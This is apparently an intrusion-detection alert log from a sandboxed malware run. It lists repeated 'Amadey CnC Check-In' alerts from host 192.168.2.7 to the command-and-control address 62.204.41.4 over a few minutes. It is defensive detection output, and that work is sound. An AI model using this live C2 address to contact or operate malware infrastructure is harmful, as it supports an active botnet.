192.168.2.762.204.41.450200802027700 02/06/23-18:38:05.567462	TCP	2027700	ET TROJAN Amadey CnC Check-In	50200	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449735802027700 02/06/23-18:36:00.278415	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449913802027700 02/06/23-18:36:48.947846	TCP	2027700	ET TROJAN Amadey CnC Check-In	49913	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450063802027700 02/06/23-18:37:29.786603	TCP	2027700	ET TROJAN Amadey CnC Check-In	50063	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449760802027700 02/06/23-18:36:06.332167	TCP	2027700	ET TROJAN Amadey CnC Check-In	49760	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450213802027700 02/06/23-18:38:10.266408	TCP	2027700	ET TROJAN Amadey CnC Check-In	50213	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450343802027700 02/06/23-18:38:43.443139	TCP	2027700	ET TROJAN Amadey CnC Check-In	50343	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450354802027700 02/06/23-18:38:47.820987	TCP	2027700	ET TROJAN Amadey CnC Check-In	50354	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449765802027700 02/06/23-18:36:07.550649	TCP	2027700	ET TROJAN Amadey CnC Check-In	49765	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449902802027700 02/06/23-18:36:43.303336	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449943802027700 02/06/23-18:36:58.182256	TCP	2027700	ET TROJAN Amadey CnC Check-In	49943	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449984802027700 02/06/23-18:37:08.277099	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450135802027700 02/06/23-18:37:49.197725	TCP	2027700	ET TROJAN Amadey CnC Check-In	50135	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450176802027700 02/06/23-18:37:59.752747	TCP	2027700	ET TROJAN Amadey CnC Check-In	50176	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449964802027700 02/06/23-18:37:03.280174	TCP	2027700	ET TROJAN Amadey CnC Check-In	49964	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450298802027700 02/06/23-18:38:32.460707	TCP	2027700	ET TROJAN Amadey CnC Check-In	50298	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450326802027700 02/06/23-18:38:39.035983	TCP	2027700	ET TROJAN Amadey CnC Check-In	50326	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449768802027700 02/06/23-18:36:08.295559	TCP	2027700	ET TROJAN Amadey CnC Check-In	49768	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449875802027700 02/06/23-18:36:36.759662	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450142802027700 02/06/23-18:37:51.625961	TCP	2027700	ET TROJAN Amadey CnC Check-In	50142	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450320802027700 02/06/23-18:38:37.801532	TCP	2027700	ET TROJAN Amadey CnC Check-In	50320	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449786802027700 02/06/23-18:36:12.426489	TCP	2027700	ET TROJAN Amadey CnC Check-In	49786	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450231802027700 02/06/23-18:38:14.609316	TCP	2027700	ET TROJAN Amadey CnC Check-In	50231	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450308802027700 02/06/23-18:38:34.900026	TCP	2027700	ET TROJAN Amadey CnC Check-In	50308	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450160802027700 02/06/23-18:37:55.923634	TCP	2027700	ET TROJAN Amadey CnC Check-In	50160	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449992802027700 02/06/23-18:37:10.200128	TCP	2027700	ET TROJAN Amadey CnC Check-In	49992	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450053802027700 02/06/23-18:37:27.528345	TCP	2027700	ET TROJAN Amadey CnC Check-In	50053	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449829802027700 02/06/23-18:36:24.582432	TCP	2027700	ET TROJAN Amadey CnC Check-In	49829	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450219802027700 02/06/23-18:38:11.691917	TCP	2027700	ET TROJAN Amadey CnC Check-In	50219	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450071802027700 02/06/23-18:37:33.042572	TCP	2027700	ET TROJAN Amadey CnC Check-In	50071	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449918802027700 02/06/23-18:36:50.149978	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449930802027700 02/06/23-18:36:55.312009	TCP	2027700	ET TROJAN Amadey CnC Check-In	49930	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450059802027700 02/06/23-18:37:28.737026	TCP	2027700	ET TROJAN Amadey CnC Check-In	50059	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450237802027700 02/06/23-18:38:16.048099	TCP	2027700	ET TROJAN Amadey CnC Check-In	50237	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449841802027700 02/06/23-18:36:27.522197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450148802027700 02/06/23-18:37:53.070956	TCP	2027700	ET TROJAN Amadey CnC Check-In	50148	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450025802027700 02/06/23-18:37:20.761388	TCP	2027700	ET TROJAN Amadey CnC Check-In	50025	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449974802027700 02/06/23-18:37:05.733543	TCP	2027700	ET TROJAN Amadey CnC Check-In	49974	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450310802027700 02/06/23-18:38:35.397050	TCP	2027700	ET TROJAN Amadey CnC Check-In	50310	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450221802027700 02/06/23-18:38:12.187048	TCP	2027700	ET TROJAN Amadey CnC Check-In	50221	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449885802027700 02/06/23-18:36:39.224150	TCP	2027700	ET TROJAN Amadey CnC Check-In	49885	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450203802027700 02/06/23-18:38:06.492874	TCP	2027700	ET TROJAN Amadey CnC Check-In	50203	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449796802027700 02/06/23-18:36:14.772959	TCP	2027700	ET TROJAN Amadey CnC Check-In	49796	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450114802027700 02/06/23-18:37:43.360834	TCP	2027700	ET TROJAN Amadey CnC Check-In	50114	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450091802027700 02/06/23-18:37:37.888527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50091	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450043802027700 02/06/23-18:37:25.122543	TCP	2027700	ET TROJAN Amadey CnC Check-In	50043	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449946802027700 02/06/23-18:36:58.902146	TCP	2027700	ET TROJAN Amadey CnC Check-In	49946	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450132802027700 02/06/23-18:37:47.847648	TCP	2027700	ET TROJAN Amadey CnC Check-In	50132	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449857802027700 02/06/23-18:36:31.085635	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450002802027700 02/06/23-18:37:14.985690	TCP	2027700	ET TROJAN Amadey CnC Check-In	50002	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450209802027700 02/06/23-18:38:09.315255	TCP	2027700	ET TROJAN Amadey CnC Check-In	50209	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449987802027700 02/06/23-18:37:08.994236	TCP	2027700	ET TROJAN Amadey CnC Check-In	49987	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450104802027700 02/06/23-18:37:40.952667	TCP	2027700	ET TROJAN Amadey CnC Check-In	50104	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450101802027700 02/06/23-18:37:40.235234	TCP	2027700	ET TROJAN Amadey CnC Check-In	50101	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449831802027700 02/06/23-18:36:25.110774	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449834802027700 02/06/23-18:36:25.833187	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450012802027700 02/06/23-18:37:17.535420	TCP	2027700	ET TROJAN Amadey CnC Check-In	50012	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450015802027700 02/06/23-18:37:18.281532	TCP	2027700	ET TROJAN Amadey CnC Check-In	50015	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450364802027700 02/06/23-18:38:50.253164	TCP	2027700	ET TROJAN Amadey CnC Check-In	50364	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449923802027700 02/06/23-18:36:51.342928	TCP	2027700	ET TROJAN Amadey CnC Check-In	49923	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449742802027700 02/06/23-18:36:01.986509	TCP	2027700	ET TROJAN Amadey CnC Check-In	49742	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450272802027700 02/06/23-18:38:24.734925	TCP	2027700	ET TROJAN Amadey CnC Check-In	50272	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450349802027700 02/06/23-18:38:46.552442	TCP	2027700	ET TROJAN Amadey CnC Check-In	50349	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450361802027700 02/06/23-18:38:49.540296	TCP	2027700	ET TROJAN Amadey CnC Check-In	50361	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449745802027700 02/06/23-18:36:02.707219	TCP	2027700	ET TROJAN Amadey CnC Check-In	49745	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450094802027700 02/06/23-18:37:38.590484	TCP	2027700	ET TROJAN Amadey CnC Check-In	50094	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450097802027700 02/06/23-18:37:39.294548	TCP	2027700	ET TROJAN Amadey CnC Check-In	50097	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450186802027700 02/06/23-18:38:02.145296	TCP	2027700	ET TROJAN Amadey CnC Check-In	50186	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450183802027700 02/06/23-18:38:01.423474	TCP	2027700	ET TROJAN Amadey CnC Check-In	50183	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449803802027700 02/06/23-18:36:18.277310	TCP	2027700	ET TROJAN Amadey CnC Check-In	49803	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449770802027700 02/06/23-18:36:08.800628	TCP	2027700	ET TROJAN Amadey CnC Check-In	49770	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450275802027700 02/06/23-18:38:26.060580	TCP	2027700	ET TROJAN Amadey CnC Check-In	50275	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449758802027700 02/06/23-18:36:05.847456	TCP	2027700	ET TROJAN Amadey CnC Check-In	49758	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449977802027700 02/06/23-18:37:06.464355	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450028802027700 02/06/23-18:37:21.493237	TCP	2027700	ET TROJAN Amadey CnC Check-In	50028	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450158802027700 02/06/23-18:37:55.451859	TCP	2027700	ET TROJAN Amadey CnC Check-In	50158	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450117802027700 02/06/23-18:37:44.099592	TCP	2027700	ET TROJAN Amadey CnC Check-In	50117	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450336802027700 02/06/23-18:38:41.486984	TCP	2027700	ET TROJAN Amadey CnC Check-In	50336	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450288802027700 02/06/23-18:38:30.033697	TCP	2027700	ET TROJAN Amadey CnC Check-In	50288	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450247802027700 02/06/23-18:38:18.501382	TCP	2027700	ET TROJAN Amadey CnC Check-In	50247	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450206802027700 02/06/23-18:38:07.828165	TCP	2027700	ET TROJAN Amadey CnC Check-In	50206	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449936802027700 02/06/23-18:36:56.541076	TCP	2027700	ET TROJAN Amadey CnC Check-In	49936	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449806802027700 02/06/23-18:36:19.040858	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449847802027700 02/06/23-18:36:28.712473	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449888802027700 02/06/23-18:36:39.931255	TCP	2027700	ET TROJAN Amadey CnC Check-In	49888	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449799802027700 02/06/23-18:36:15.767938	TCP	2027700	ET TROJAN Amadey CnC Check-In	49799	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450170802027700 02/06/23-18:37:58.303705	TCP	2027700	ET TROJAN Amadey CnC Check-In	50170	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449819802027700 02/06/23-18:36:22.168382	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449908802027700 02/06/23-18:36:47.759181	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450040802027700 02/06/23-18:37:24.355270	TCP	2027700	ET TROJAN Amadey CnC Check-In	50040	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449949802027700 02/06/23-18:36:59.621008	TCP	2027700	ET TROJAN Amadey CnC Check-In	49949	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450081802027700 02/06/23-18:37:35.445260	TCP	2027700	ET TROJAN Amadey CnC Check-In	50081	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449783802027700 02/06/23-18:36:11.707389	TCP	2027700	ET TROJAN Amadey CnC Check-In	49783	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450069802027700 02/06/23-18:37:32.561894	TCP	2027700	ET TROJAN Amadey CnC Check-In	50069	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449920802027700 02/06/23-18:36:50.617008	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450199802027700 02/06/23-18:38:05.327038	TCP	2027700	ET TROJAN Amadey CnC Check-In	50199	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450314802027700 02/06/23-18:38:36.369028	TCP	2027700	ET TROJAN Amadey CnC Check-In	50314	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450118802027700 02/06/23-18:37:44.342002	TCP	2027700	ET TROJAN Amadey CnC Check-In	50118	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450216802027700 02/06/23-18:38:10.984165	TCP	2027700	ET TROJAN Amadey CnC Check-In	50216	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449924802027700 02/06/23-18:36:51.587444	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450252802027700 02/06/23-18:38:19.689919	TCP	2027700	ET TROJAN Amadey CnC Check-In	50252	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449731802027700 02/06/23-18:35:58.287698	TCP	2027700	ET TROJAN Amadey CnC Check-In	49731	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449985802027700 02/06/23-18:37:08.510192	TCP	2027700	ET TROJAN Amadey CnC Check-In	49985	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450350802027700 02/06/23-18:38:46.836121	TCP	2027700	ET TROJAN Amadey CnC Check-In	50350	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450154802027700 02/06/23-18:37:54.498607	TCP	2027700	ET TROJAN Amadey CnC Check-In	50154	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449789802027700 02/06/23-18:36:13.130119	TCP	2027700	ET TROJAN Amadey CnC Check-In	49789	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449887802027700 02/06/23-18:36:39.694821	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450249802027700 02/06/23-18:38:18.972466	TCP	2027700	ET TROJAN Amadey CnC Check-In	50249	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450347802027700 02/06/23-18:38:46.051189	TCP	2027700	ET TROJAN Amadey CnC Check-In	50347	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450056802027700 02/06/23-18:37:28.014710	TCP	2027700	ET TROJAN Amadey CnC Check-In	50056	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449728802027700 02/06/23-18:35:57.036982	TCP	2027700	ET TROJAN Amadey CnC Check-In	49728	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449980802027700 02/06/23-18:37:07.211466	TCP	2027700	ET TROJAN Amadey CnC Check-In	49980	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449826802027700 02/06/23-18:36:23.882734	TCP	2027700	ET TROJAN Amadey CnC Check-In	49826	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449882802027700 02/06/23-18:36:38.444359	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449916802027700 02/06/23-18:36:49.663085	TCP	2027700	ET TROJAN Amadey CnC Check-In	49916	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450089802027700 02/06/23-18:37:37.423384	TCP	2027700	ET TROJAN Amadey CnC Check-In	50089	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450244802027700 02/06/23-18:38:17.760140	TCP	2027700	ET TROJAN Amadey CnC Check-In	50244	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449821802027700 02/06/23-18:36:22.668125	TCP	2027700	ET TROJAN Amadey CnC Check-In	49821	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449879802027700 02/06/23-18:36:37.726488	TCP	2027700	ET TROJAN Amadey CnC Check-In	49879	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449957802027700 02/06/23-18:37:01.557192	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450031802027700 02/06/23-18:37:22.219104	TCP	2027700	ET TROJAN Amadey CnC Check-In	50031	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449862802027700 02/06/23-18:36:32.276209	TCP	2027700	ET TROJAN Amadey CnC Check-In	49862	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450285802027700 02/06/23-18:38:29.330320	TCP	2027700	ET TROJAN Amadey CnC Check-In	50285	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450048802027700 02/06/23-18:37:26.342561	TCP	2027700	ET TROJAN Amadey CnC Check-In	50048	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449792802027700 02/06/23-18:36:13.832898	TCP	2027700	ET TROJAN Amadey CnC Check-In	49792	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450179802027700 02/06/23-18:38:00.453203	TCP	2027700	ET TROJAN Amadey CnC Check-In	50179	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450121802027700 02/06/23-18:37:45.046254	TCP	2027700	ET TROJAN Amadey CnC Check-In	50121	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450322802027700 02/06/23-18:38:38.036621	TCP	2027700	ET TROJAN Amadey CnC Check-In	50322	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450280802027700 02/06/23-18:38:28.132357	TCP	2027700	ET TROJAN Amadey CnC Check-In	50280	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450084802027700 02/06/23-18:37:36.184167	TCP	2027700	ET TROJAN Amadey CnC Check-In	50084	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450339802027700 02/06/23-18:38:42.208795	TCP	2027700	ET TROJAN Amadey CnC Check-In	50339	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449797802027700 02/06/23-18:36:15.167905	TCP	2027700	ET TROJAN Amadey CnC Check-In	49797	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450126802027700 02/06/23-18:37:46.263727	TCP	2027700	ET TROJAN Amadey CnC Check-In	50126	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449952802027700 02/06/23-18:37:00.344242	TCP	2027700	ET TROJAN Amadey CnC Check-In	49952	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449756802027700 02/06/23-18:36:05.379932	TCP	2027700	ET TROJAN Amadey CnC Check-In	49756	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449993802027700 02/06/23-18:37:10.446984	TCP	2027700	ET TROJAN Amadey CnC Check-In	49993	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449932802027700 02/06/23-18:36:55.578353	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449748802027700 02/06/23-18:36:03.424266	TCP	2027700	ET TROJAN Amadey CnC Check-In	49748	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449929802027700 02/06/23-18:36:54.008803	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450260802027700 02/06/23-18:38:21.613963	TCP	2027700	ET TROJAN Amadey CnC Check-In	50260	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450159802027700 02/06/23-18:37:55.686514	TCP	2027700	ET TROJAN Amadey CnC Check-In	50159	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449846802027700 02/06/23-18:36:28.476052	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450076802027700 02/06/23-18:37:34.245536	TCP	2027700	ET TROJAN Amadey CnC Check-In	50076	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450257802027700 02/06/23-18:38:20.892808	TCP	2027700	ET TROJAN Amadey CnC Check-In	50257	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450003802027700 02/06/23-18:37:15.250783	TCP	2027700	ET TROJAN Amadey CnC Check-In	50003	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450174802027700 02/06/23-18:37:59.284898	TCP	2027700	ET TROJAN Amadey CnC Check-In	50174	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450232802027700 02/06/23-18:38:14.844486	TCP	2027700	ET TROJAN Amadey CnC Check-In	50232	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450190802027700 02/06/23-18:38:03.117138	TCP	2027700	ET TROJAN Amadey CnC Check-In	50190	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449965802027700 02/06/23-18:37:03.533120	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450293802027700 02/06/23-18:38:31.205772	TCP	2027700	ET TROJAN Amadey CnC Check-In	50293	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450113802027700 02/06/23-18:37:43.122477	TCP	2027700	ET TROJAN Amadey CnC Check-In	50113	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450211802027700 02/06/23-18:38:09.797468	TCP	2027700	ET TROJAN Amadey CnC Check-In	50211	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450195802027700 02/06/23-18:38:04.351511	TCP	2027700	ET TROJAN Amadey CnC Check-In	50195	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449867802027700 02/06/23-18:36:33.500443	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449784802027700 02/06/23-18:36:11.941698	TCP	2027700	ET TROJAN Amadey CnC Check-In	49784	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449818802027700 02/06/23-18:36:21.931466	TCP	2027700	ET TROJAN Amadey CnC Check-In	49818	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449859802027700 02/06/23-18:36:31.553133	TCP	2027700	ET TROJAN Amadey CnC Check-In	49859	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450330802027700 02/06/23-18:38:40.019565	TCP	2027700	ET TROJAN Amadey CnC Check-In	50330	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449960802027700 02/06/23-18:37:02.273096	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450146802027700 02/06/23-18:37:52.585657	TCP	2027700	ET TROJAN Amadey CnC Check-In	50146	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450359802027700 02/06/23-18:38:49.036581	TCP	2027700	ET TROJAN Amadey CnC Check-In	50359	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450187802027700 02/06/23-18:38:02.390913	TCP	2027700	ET TROJAN Amadey CnC Check-In	50187	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450105802027700 02/06/23-18:37:41.185987	TCP	2027700	ET TROJAN Amadey CnC Check-In	50105	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450302802027700 02/06/23-18:38:33.426503	TCP	2027700	ET TROJAN Amadey CnC Check-In	50302	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449776802027700 02/06/23-18:36:10.243724	TCP	2027700	ET TROJAN Amadey CnC Check-In	49776	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450011802027700 02/06/23-18:37:17.285007	TCP	2027700	ET TROJAN Amadey CnC Check-In	50011	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450229802027700 02/06/23-18:38:14.131856	TCP	2027700	ET TROJAN Amadey CnC Check-In	50229	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449890802027700 02/06/23-18:36:40.402321	TCP	2027700	ET TROJAN Amadey CnC Check-In	49890	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450141802027700 02/06/23-18:37:51.394662	TCP	2027700	ET TROJAN Amadey CnC Check-In	50141	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449854802027700 02/06/23-18:36:30.381462	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450224802027700 02/06/23-18:38:12.894334	TCP	2027700	ET TROJAN Amadey CnC Check-In	50224	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450182802027700 02/06/23-18:38:01.180152	TCP	2027700	ET TROJAN Amadey CnC Check-In	50182	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449937802027700 02/06/23-18:36:56.780041	TCP	2027700	ET TROJAN Amadey CnC Check-In	49937	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450265802027700 02/06/23-18:38:22.792861	TCP	2027700	ET TROJAN Amadey CnC Check-In	50265	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449771802027700 02/06/23-18:36:09.033959	TCP	2027700	ET TROJAN Amadey CnC Check-In	49771	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449895802027700 02/06/23-18:36:41.619813	TCP	2027700	ET TROJAN Amadey CnC Check-In	49895	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449813802027700 02/06/23-18:36:20.733652	TCP	2027700	ET TROJAN Amadey CnC Check-In	49813	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449805802027700 02/06/23-18:36:18.799888	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450194802027700 02/06/23-18:38:04.099906	TCP	2027700	ET TROJAN Amadey CnC Check-In	50194	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450292802027700 02/06/23-18:38:30.970171	TCP	2027700	ET TROJAN Amadey CnC Check-In	50292	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449903802027700 02/06/23-18:36:43.538750	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450096802027700 02/06/23-18:37:39.062079	TCP	2027700	ET TROJAN Amadey CnC Check-In	50096	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449814802027700 02/06/23-18:36:20.972677	TCP	2027700	ET TROJAN Amadey CnC Check-In	49814	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450289802027700 02/06/23-18:38:30.269170	TCP	2027700	ET TROJAN Amadey CnC Check-In	50289	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450035802027700 02/06/23-18:37:23.185232	TCP	2027700	ET TROJAN Amadey CnC Check-In	50035	80	192.168.2.7	62.204.41.4
